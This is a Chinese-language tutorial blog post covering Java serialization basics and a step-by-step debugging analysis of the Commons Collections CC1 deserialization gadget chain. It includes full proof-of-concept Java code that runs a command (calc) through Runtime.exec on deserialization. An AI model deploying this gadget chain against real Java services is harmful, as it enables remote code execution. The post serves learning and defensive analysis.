前言

好久没看Java的内容,现在从头开始看,学习Java安全。关于反序列化之前入门学习过一点,但是经过这次学习,又多了一些理解。记录下来。从Java反序列化的基础到最后学习分析CC链以及漏洞利用。反序列化基础就提一点,主要是学习并分析下CC链。已经尽可能写的比较啰嗦了,对于像我一样的Java小白,学习这里还是需要有一点Java反射和idea调试的基础。

序列化与反序列化基础

一个类能否进行序列化,取决于它有没有继承Serializable这个接口。

序列化:ObjectOutputStream类的writeObject(Object obj)方法,将对象序列化成字符串数据。
反序列化:ObjectInputStream类的readObject(Object obj)方法,将字符串数据反序列化成对象。

🌮从Java反序列化基础到CC链漏洞分析 - 图1

这是通过输入输出流还有字节文件流来进行序列化和反序列化。Java在序列化的时候,类中有个ID,当反序列化的时候,如果ID值被更改了,接下来的反序列化就会失败。

增加个transient标志表示这个变量不参与反序列化

  1. protected transient int age; //transient表示该变量不参与序列化

🌮从Java反序列化基础到CC链漏洞分析 - 图2

CC链系列命令执行

Transformer细究

用代码来看

  1. package serialize;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. public class Main {
  7. public static void main(String[] args) {
  8. Transformer[] transformers = new Transformer[]{
  9. new ConstantTransformer(Runtime.getRuntime()),
  10. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  11. };
  12. Transformer transformer = new ChainedTransformer(transformers);
  13. transformer.transform(1);
  14. }
  15. }

这里调试代码看执行过程。开启debug

先看下调用了Transformer的几个函数

transformers是个实例化的数组对象,里面有两个参数,一个是ConstantTransformer

🌮从Java反序列化基础到CC链漏洞分析 - 图3

传入constantToReturn,返回同样的值,赋值给this.iConstant,而这里传入的值是Runtime.getRuntime()想要通过这个实现命令执行。

然后看第二个参数:InvokerTransformer

🌮从Java反序列化基础到CC链漏洞分析 - 图4

传入三个参数,这里通过debug看的话会更明显

🌮从Java反序列化基础到CC链漏洞分析 - 图5

传入的参数分别为execString.classcalc

然后执行命令的部分还有InvokerTransformer--->transform

  1. Class cls = input.getClass();
  2. Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
  3. return method.invoke(input, this.iArgs);

input是从外面传入的参数,cls获取到inputclass

然后是getMethod()

🌮从Java反序列化基础到CC链漏洞分析 - 图6

到这一步,method得到了exec方法,和该方法的参数数组String.class

最后返回method.invoke(),传入的参数为执行的命令this.iArgs

这样最终完成命令执行。

到这里都是流程,然后下面两段代码才是执行这个流程的操作。继续看:

🌮从Java反序列化基础到CC链漏洞分析 - 图7

transformsers只是一个存储,用来存储上面分析的所有数据。在 ChainedTransformer中,debug进入方法,是一个for循环,transformers长度为2,这个是我们传入的两个参数。分别是ConstantTransformerInvokerTransformer

这里的for循环会执行两次,第一次执行:

🌮从Java反序列化基础到CC链漏洞分析 - 图8

没有参数,第二次执行:

🌮从Java反序列化基础到CC链漏洞分析 - 图9

三个参数都显示出来了,然后进入下一步InvokerTransformer--->transform第一个判断为空的已经把for循环第一次空值给pass掉了,第一次的流程根本就没走到try抛出异常这一步,继续看第二次循环出现exec参数这次,上面已经分析过了,利用invoke()方法调用Runtime.getRuntime().exec()执行命令clac打开计算器。

🌮从Java反序列化基础到CC链漏洞分析 - 图10

这里算是把这个过程分析结束了。这里只是一个简单的版本,对于Transformer的分析。

CC1链分析

经过上面Transformer相关方法的了解,和那个过程,差不多可以了解这个过程了,接下来就是找个CC链,详细执行过程分析一下。

  1. package CC;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import java.io.*;
  8. import java.lang.annotation.Target;
  9. import java.lang.reflect.Constructor;
  10. import java.util.HashMap;
  11. import java.util.Map;
  12. public class CC1 {
  13. public static void main(String[] args) throws Exception {
  14. Transformer[] transformers = new Transformer[] {
  15. new ConstantTransformer(Runtime.class),
  16. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
  17. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
  18. new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
  19. };
  20. Transformer transformerChain = new ChainedTransformer(transformers);
  21. Map map = new HashMap();
  22. map.put("value", "value");
  23. Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
  24. Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  25. Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
  26. annotationInvocationHandler.setAccessible(true);
  27. Object instance = annotationInvocationHandler.newInstance(Target.class, transformedMap);
  28. serialize(instance);
  29. unserialize("ser.bin");
  30. }
  31. public static void serialize(Object obj) throws IOException {
  32. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
  33. oos.writeObject(obj);
  34. }
  35. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
  36. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
  37. Object obj = ois.readObject();
  38. return obj;
  39. }
  40. }

环境说明:jdk1.7commons-collections3.1.jar

关于解决这个环境问题,用了我将尽一下午的时间,然后废话不多说,分析这个链子之前,关于CC链的原理,为什么是链子,我之前都很迷惑,所以这次顺便记录一下。

commons-collections3.1的执行原理就是找到我们想要执行的危险方法。比如:exec()transform()因为这里的链子是利用了transform()。然后向上找,看看有哪些方法执行的时候调用了这个危险方法,进而一级一级向上寻找这个方法,知道最后。找到一个可控输入的方法,去调用。一级一级向下进行debug。这么说会有点迷,所以看流程图比较直观。

🌮从Java反序列化基础到CC链漏洞分析 - 图11

这样形成一个链子。(其中利用的方法也不是随意选择的,需要考虑方法是否可序列化)

然后分析下这个链子。

Transformer实例化一个数组transformers,将构建了任意函数执行的核心代码填充进数组中。这样方便调用。transforms数组里面的函数执行核心代码在上面Transform细究中已经解释的比较详细了。命令执行不是这个环节,这里分析下怎么进行调用,CC链执行。

  1. chainedTransformer.transform(Runtime.class);

这句代码用是调用transform(),构造的链子就是需要调用不同类中的同名方法来实现这个结果。

查找Usages,看看项目和lib包中有哪些拥有transform()方法

这里找最后一个也是比较好找的,当然上面的LazyMap中也有

🌮从Java反序列化基础到CC链漏洞分析 - 图12

可以看到这里的transform(value)是有个参数的,但是可不可控还不清楚,需要继续向上看。而且这个transform()方法只针对valueTransformer生效,所以还要看看valueTransformer在在哪里赋值,怎么赋值。

🌮从Java反序列化基础到CC链漏洞分析 - 图13

从这里就可以看出,只要调用checkSetValue()方法,就会自动调用同文件中的

  1. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  2. return new TransformedMap(map, keyTransformer, valueTransformer);
  3. }

这三个值是可以控制的

🌮从Java反序列化基础到CC链漏洞分析 - 图14

再看看如何调用checkSetValue()方法,在整个文件中只找到一处使用了checkSetValue()方法,就是这里

🌮从Java反序列化基础到CC链漏洞分析 - 图15

然后看到其实他所在的类MapEntry中有一个父类,就是AbstractMapEntryDecorator

新建一个map也就是实例化一个HashMap对象。然后给这个map装饰一下

  1. HashMap map = new HashMap();
  2. Map transformedMap = TransformedMap.decorate(map,null, chainedTransformer);

至于为什么decorate有三个参数,这里只给它两个,中间为null了,是因为在后面需要用到的valueTransformer.transform(value);里面只对valueTransformer使用了transform方法。

到这里将chainedTransformer赋值给valueTransformer这样checkSetValue使用时会调用valueTransformer.transform()就相当于chainedTransformer调用了transform()方法。

关于Map.Entry

Java的entry是一个静态内部类,实现Map.Entry< K ,V> 这个接口,通过entry类可以构成一个单向链表

entry就表示的是Java中的键值对。

根据上一张图可以看到,我们现在寻找的目标已经变成了setValue()还是使用find Usages在整个项目和lib包中寻找,还是尽量找不同类中的同名方法。因为最终是需要进行序列化和反序列化的,所以尽可能找readObject()方法,发现在sun.reflect.annotation.AnnotationInvocationHandler中存在一个重写的readObject()方法。

因为这个方法不是public,所以只有通过反射机制调用AnnotationInvocationHandler类的构造函数。也就是使用Class.forName

然后获取它的构造器因为他的构造器不是共有的(public),所以这里要使用getDeclaredConstructor

  1. Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);

解释:

Class类的getDeclaredConstructor()方法,可获取到类的私有构造器(包括带有其他修饰符的构造器)

参数还是跟它的构造器类似。第一个是个Class,第二个是个Map

  1. AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
  2. Class[] var3 = var1.getInterfaces();
  3. if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
  4. this.type = var1;//传入的var1到this.type
  5. this.memberValues = var2;//我们的map传入this.memberValues
  6. } else {
  7. throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
  8. }
  9. }

再然后,setAccessible(true)将此对象的 accessible 标志设置为指示的布尔值。值为 true 则指示反射的对象在使用时应该取消 Java 语言访问检查。值为 false 则指示反射的对象应该实施 Java 语言访问检查。

再继续进行获取AnnotationInvocationHandler类实例

  1. Object instance = annotationInvocationHandler.newInstance(Target.class, transformedMap);

陌生方法解释

通过 Class 类的 newInstance() 方法创建对象,该方法要求该 Class 对应类有无参构造方法。执行 newInstance()方法实际上就是使用对应类的无参构造方法来创建该类的实例,其代码的作用等价于Super sup = new Super()

第一个参数是继承了注释类:extends Annotation

第二个参数是Map,上面的Map实例化的名为transformedMap

注解的这边,Target就是注解,可以跟进去看看

🌮从Java反序列化基础到CC链漏洞分析 - 图16

里面有个值,为value()

Override也是个注解,但是他里面没有值,先往后看

readObject()重构的方法

  1. private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
  2. var1.defaultReadObject();
  3. AnnotationType var2 = null;
  4. try {
  5. var2 = AnnotationType.getInstance(this.type);
  6. } catch (IllegalArgumentException var9) {
  7. throw new InvalidObjectException("Non-annotation type in annotation serial stream");
  8. }
  9. Map var3 = var2.memberTypes();
  10. Iterator var4 = this.memberValues.entrySet().iterator();
  11. while(var4.hasNext()) {
  12. Map.Entry var5 = (Map.Entry)var4.next();
  13. String var6 = (String)var5.getKey();
  14. Class var7 = (Class)var3.get(var6);
  15. if (var7 != null) {
  16. Object var8 = var5.getValue();
  17. if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
  18. var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
  19. }
  20. }
  21. }
  22. }

memberValues是键值对,var4获取了键值对,var5遍历map的迭代器,再后面var6使用getkey()方法获取键值对的key。然后进入一个if判断,需要key不为空

所以这边需要找一个有成员方法的class,Override是没有成员方法的,所以它在这里是不能成功反序列化的,使用Override,在反序列化时,到最后一步,会被if语句拦住进不去。改成Override,进行debug看下效果。

🌮从Java反序列化基础到CC链漏洞分析 - 图17

这里就进不去if,所以后面的setValue也执行不了,自然无法正常执行命令。

所以这里还是要用Target

最后看一下,关于map.put()的值,第一个值是固定的必须是value

如果换成其他的值,我这里换成admin,再次进行debug

🌮从Java反序列化基础到CC链漏洞分析 - 图18

最后var7的值还是null,只有当传入的第一个值为value时,到最后的var7获取的才能不为空

🌮从Java反序列化基础到CC链漏洞分析 - 图19

正常进入,最后成功反序列化。

🌮从Java反序列化基础到CC链漏洞分析 - 图20

小结

学习这里用的时间比较久吧(……),后续会再继续进行CC链的其他几个链子的分析。

参考资料

推荐看这个视频 https://b23.tv/7U1vbik

https://xz.aliyun.com/t/7031

https://blog.csdn.net/weixin_39881760/article/details/109762099